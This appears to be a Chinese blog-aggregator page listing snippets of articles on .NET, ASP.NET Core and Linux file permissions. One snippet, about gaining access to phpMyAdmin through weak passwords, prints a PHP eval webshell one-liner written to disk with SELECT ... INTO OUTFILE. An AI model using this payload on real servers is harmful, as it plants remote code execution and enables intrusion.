角色 权限net

asp.net core webapi项目实例源代码锦集下载(72个)

下载地址: http://www.80cxy.com/Blog/ResourceView?arId=202311251726127234f6oAkh 所有代码实例 (Chinese) 物业收费系统,使用 ASP.NET Core MVC 框架 .net core webapi配合swagger以及其 ......
源代码 实例 项目 webapi core

.net 6 async await 取消Task任务

引言 在用await执行方法时,方法有时候会执行特别长时间,在执行过程中想中断方法,需要使用到CancellationToken类。 控制台程序中取消Task任务 一、 创建一个执行需要很长时间的方法 static async Task DownloadAsync(string url, int n ......
任务 async await Task net

拿到phpMyAdmin如何获取权限

目录1、outfile写一句话2、general_log_file写一句话 通过弱口令拿到进到phpMyAdmin页面如何才能获取权限 1、outfile写一句话 尝试执行outfile语句写入一句话木马 select "<?php @eval($_REQUEST[6868])?>" into ou ......
phpMyAdmin 权限

.Net8新特性

本文整理.Net8新特性的使用方法。 当前包括: Route ShortCircuit Exception Throw Helper HttpLoggingMiddleware 的改进 C# 12 中的 InlineArray 特性 Route ShortCircuit 有些请求,如浏览器会自动请求 ......
特性 Net8 Net

龙芯发布 .NET 8 SDK 8.0.100-ea1(试用版)

随着.NET 8的发布,国内的社区朋友们也很关心龙芯.NET 团队对于Loongarch .NET 8的发布时间,目前从龙芯.NET编译器团队已经在龙芯.NET 官网上发布龙芯.NET 8 SDK-8.0.100-ea1 版本发布(试用版),从龙芯2019年启动.NET的研发工作 ,2022年完成了 ......
NET 100 SDK ea1 ea

在 Blazor WASM 中手撸一个.NET MD5类

最近.net8 blazor auto大火, 我也玩了一下,发现ssr能用的代码 MD5 类在wasm是没法用的. 于是搜索了一下互联网,找到了一份代码,分享给大家. 我找到的帖子作者原话: 代码不是我的,但我确实稍微修改了它以使其与 System.Security.Cryptography.MD5 ......
Blazor WASM NET MD5 MD

.NET领域性能最好的对象映射框架Mapster使用方法

Mapster是一个开源的.NET对象映射库,它提供了一种简单而强大的方式来处理对象之间的映射。在本文中,我将详细介绍如何在.NET中使用Mapster,并提供一些实例和源代码。 和其它框架性能对比: Mapster的安装和配置: 首先,打开Visual Studio并创建一个新的.NET项目。 在 ......
使用方法 框架 对象 性能 领域

Linux 文件ACL权限详解

在 Linux 系统中,文件权限是文件安全的重要保障。它决定了用户对文件的读、写、执行权限。 文件权限的概念 Linux 文件权限分为三种类型: 拥有者(owner):文件的创建者或拥有者。 用户组(group):文件所属的用户组。 其他人(others):除拥有者和用户组之外的所有用户。 每种类型 ......
权限 文件 Linux ACL

.NET8极致性能优化Non-GC Heap

前言 .NET8里面JIT引入了一个新的机制,叫做Non-GC Heap。JIT可以确保相关对象分配在Non-GC Heap上,该堆像其名称一样,不受GC管理。JIT需要保证这个对象没有被GC引用,并且在这个对象的生命周期内一直是根对象(不会被GC消灭的对象)的状态。原文:.NET8极致性能优化No ......
极致 性能 Non-GC NET8 Heap

.NET Core MVC基础之页面传值方式

.NET Core MVC基础之页面传值方式📃 前言 最近工作太忙了,浅浅更新一下.NET基础知识。大部分面试官都会问.NET页面传值的几种方式,那么接下来就来细讲与实现一下吧! 页面传值分成两类 第一类:控制器给视图传值 第二类:视图给控制器传值 本篇文章主要讲控制器给视图传值 控制器->视图 ......
页面 方式 基础 Core NET

C#/.NET/.NET Core推荐学习书籍(已分类)

前言 古人云:“书中自有黄金屋,书中自有颜如玉”,说明了书籍的重要性。作为程序员,我们需要不断学习以提升自己的核心竞争力。以下是一些优秀的C#/.NET/.NET Core相关学习书籍,值得.NET开发者们学习和专研。书籍已分类,欢迎大家PR分享自己觉得不错的C#/.NET/.NET Core宝藏书 ......
NET 书籍 Core

在.Net中使用Java代码?

前言 你没有看错,我确实在.Net6的项目中在编写java,我都using java了,算不算在写java那? using com.microsoft.sqlserver.jdbc; using java.sql; 并且编辑器还带提示的功能 这一切都是借助IKVM来实现的,或许有些人还听说过使用IK ......
代码 Java Net

文件权限

1.掌握基本权限用法 1.1基本权限UGO UGO是基本权限的一种表示方式,它代表了拥有者(User)、组(Group)和其他用户(Others)的权限。 在UGO中,每个权限用一个字符来表示,分别是:- r:读权限(Read)- w:写权限(Write)- x:执行权限(Execute)- -:没 ......
权限 文件

拯救迅速遗忘的文件权限

Linux文件权限 在Linux系统中,文件权限是保护文件和目录安全的重要机制之一。理解和正确设置文件权限对于系统管理员和用户来说至关重要。本文将介绍Linux文件权限的基础知识和常见操作。 文件权限概述 Linux系统中的每个文件和目录都与它们相关联的一组权限。这些权限控制着对文件的访问方式,包括 ......
权限 文件

对 .NET程序2G虚拟地址紧张崩溃 的最后一次反思

一:背景 1. 讲故事 最近接连遇到了几起 2G 虚拟地址紧张 导致的程序崩溃,基本上 90% 都集中在医疗行业,真的很无语,他们用的都是一些上古的 XP,Windows7 x86,我也知道技术人很难也基本无法推动硬件系统和设备的升级,这里蕴含了巨大的人情世故。 写这一篇的目的是想系统化的整理一下如 ......
地址 程序 NET

ASP.NET MVC5 Bundling and Minification

代码 var myScriptBundle = new ScriptBundle("~/bundles/script").Include("~/Scripts/myscript.js"); bundles.Add(myScriptBundle); var myStyleBundle = new St ......
Minification Bundling MVC5 ASP NET

Linux文件权限

通过学习 Linux 文件权限章节,我深刻认识到了文件权限在 Linux 系统中的重要性。文件权限是 Linux 系统中的一个核心概念,它决定了用户对文件和目录的访问权限。因此,对于 Linux 系统管理员来说,文件权限是必须要掌握的技能之一。在这个章节中,我学习了 Linux 文件权限的基础知识, ......
权限 文件 Linux

.net抓取html文本中的链接集合

public static void GetListHtmlString(string content, string searchStr, List<string> list) { if (string.IsNullOrEmpty(content) || string.IsNullOrEmpty( ......
文本 链接 html net

log4net使用过程

1.安装 log4net,通过 Nuget 下载 2.在AssemblyInfo.cs中添加 [assembly: log4net.Config.XmlConfigurator(ConfigFile = "log4net.config", ConfigFileExtension = "config" ......
过程 log4net 4net log4 log

.Net core 常见同步机制及其应用场景

在 .NET Core 5 中,提供了多种同步机制来处理多线程同步问题,下面分别介绍这些同步机制及其适用场景。 lock 关键字 lock 关键字是 C# 语言提供的一种基本的同步机制,可以用于保护临界区,确保多个线程对共享资源的访问互斥性。使用 lock 关键字时,需要指定一个对象作为锁,这个锁对 ......
场景 机制 常见 core Net

ConfigureAwait in .NET8

ConfigureAwait in .NET8 ConfigureAwait(true) 和 ConfigureAwait(false) 首先,让我们回顾一下原版 ConfigureAwait 的语义和历史,它采用了一个名为 continueOnCapturedContext 的布尔参数。 当对任务 ......
ConfigureAwait NET8 NET in

在.net中使用AutoMapper进行对象映射,对象相互转,简单方便

AutoMapper是一种对象映射工具,它可以帮助我们将不同类型的数据对象之间进行相互转换。在.NET中,我们可以使用AutoMapper库来简化数据对象之间的映射操作,从而提高代码的可读性和可维护性。 一、AutoMapper的安装和基本使用 安装AutoMapper 首先,我们需要在项目中安装A ......
对象 AutoMapper net

掌握VB.net编程技巧,轻松打造Windows应用

为了温故而知新,本博客旨在记录我学习VB.net编程的过程,分享基础知识和实用技巧,帮助有需要的朋友轻松入门VB.net编程。无论您是想开发Windows平台上的应用程序,还是想在.NET生态系统中展现创造力和创新精神,本文都将为您提供宝贵的指导。 VB.net是一种易学易用的编程语言,它基于Mic ......
编程技巧 Windows 技巧 net VB

.net 温故知新【13】:Asp.Net Core WebAPI 缓存

一、缓存 缓存指在中间层中存储数据的行为,该行为可使后续数据检索更快。 从概念上讲,缓存是一种性能优化策略和设计考虑因素。 缓存可以显著提高应用性能,方法是提高不常更改(或检索成本高)的数据的就绪性。 二、RFC9111 在最新的缓存控制规范文件RFC9111中,详细描述了浏览器缓存和服务器缓存控制 ......
温故知新 缓存 WebAPI Core net

.Net Core MVC超大文件上传

后端控制器://用于保存的文件夹 static readonly string uploadFolder = "UploadFolder"; //目录分隔符,兼容不同系统 static readonly char dirSeparator = Path.DirectorySeparatorChar; ......
文件 Core Net MVC

linux文件权限2

基本权限ACL ACL主要提供传统的UGO的r,w,x权限之外的具体权限,可以对单一用户,单一文件,或者目录进行文件权限设置 ACL 的基本使用方式 getfacl 查看权限 setfacl 设置权限 选项 -m 设定ACL的权限 -x 删除某一用户或组的ACL权限 -b 删除所有的ACL权限 -R ......
权限 文件 linux

linux的用户管理以及文件权限

#useradd //创建用户 #groupadd //创建组 #userdel //删除用户 #groupdel //删除用户组 #passwd //修改密码getfacl //查看ACL权限setfacl //设置ACL权限 U:owner,属主 G:group,属组 O:other,其他用户 ......
权限 文件 用户 linux

Linux文件权限

一、文件权限 文件的权限针对三类对象进行定义 owner 属主,缩写u group 属组,缩写g other 其他,缩写o 每个文件针对每类访问者定义了三种主要权限 r:Read 读 w:Write 写 x:eXecute 执行 对于文件和目录来说,r,w,x有着不同的作用和含义: 针对文件: r: ......
权限 文件 Linux

springboot 集成swagger3.0 并开启权限认证

1.POM文件只需要引入一个依赖即可 2. swagger配置文件如下 注意:要添加“@EnableWebMvc"注解,详细代码如下: @Configuration@EnableWebMvcpublic class SwaggerConfig { @Value("${swagger.enabled} ......
springboot swagger3 权限 swagger

基于.net6.0 Fast.ORM 已全面支持AOT编译 所有Api均测试通过

Fast Framework 作者 Mr-zhong 代码改变世界.... 一、前言 Fast Framework 基于NET6.0 封装的轻量级 ORM 框架 支持多种数据库 SqlServer Oracle MySql PostgreSql Sqlite 优点: 体积小、原生支持微软特性、流畅A ......
net6 Fast net AOT Api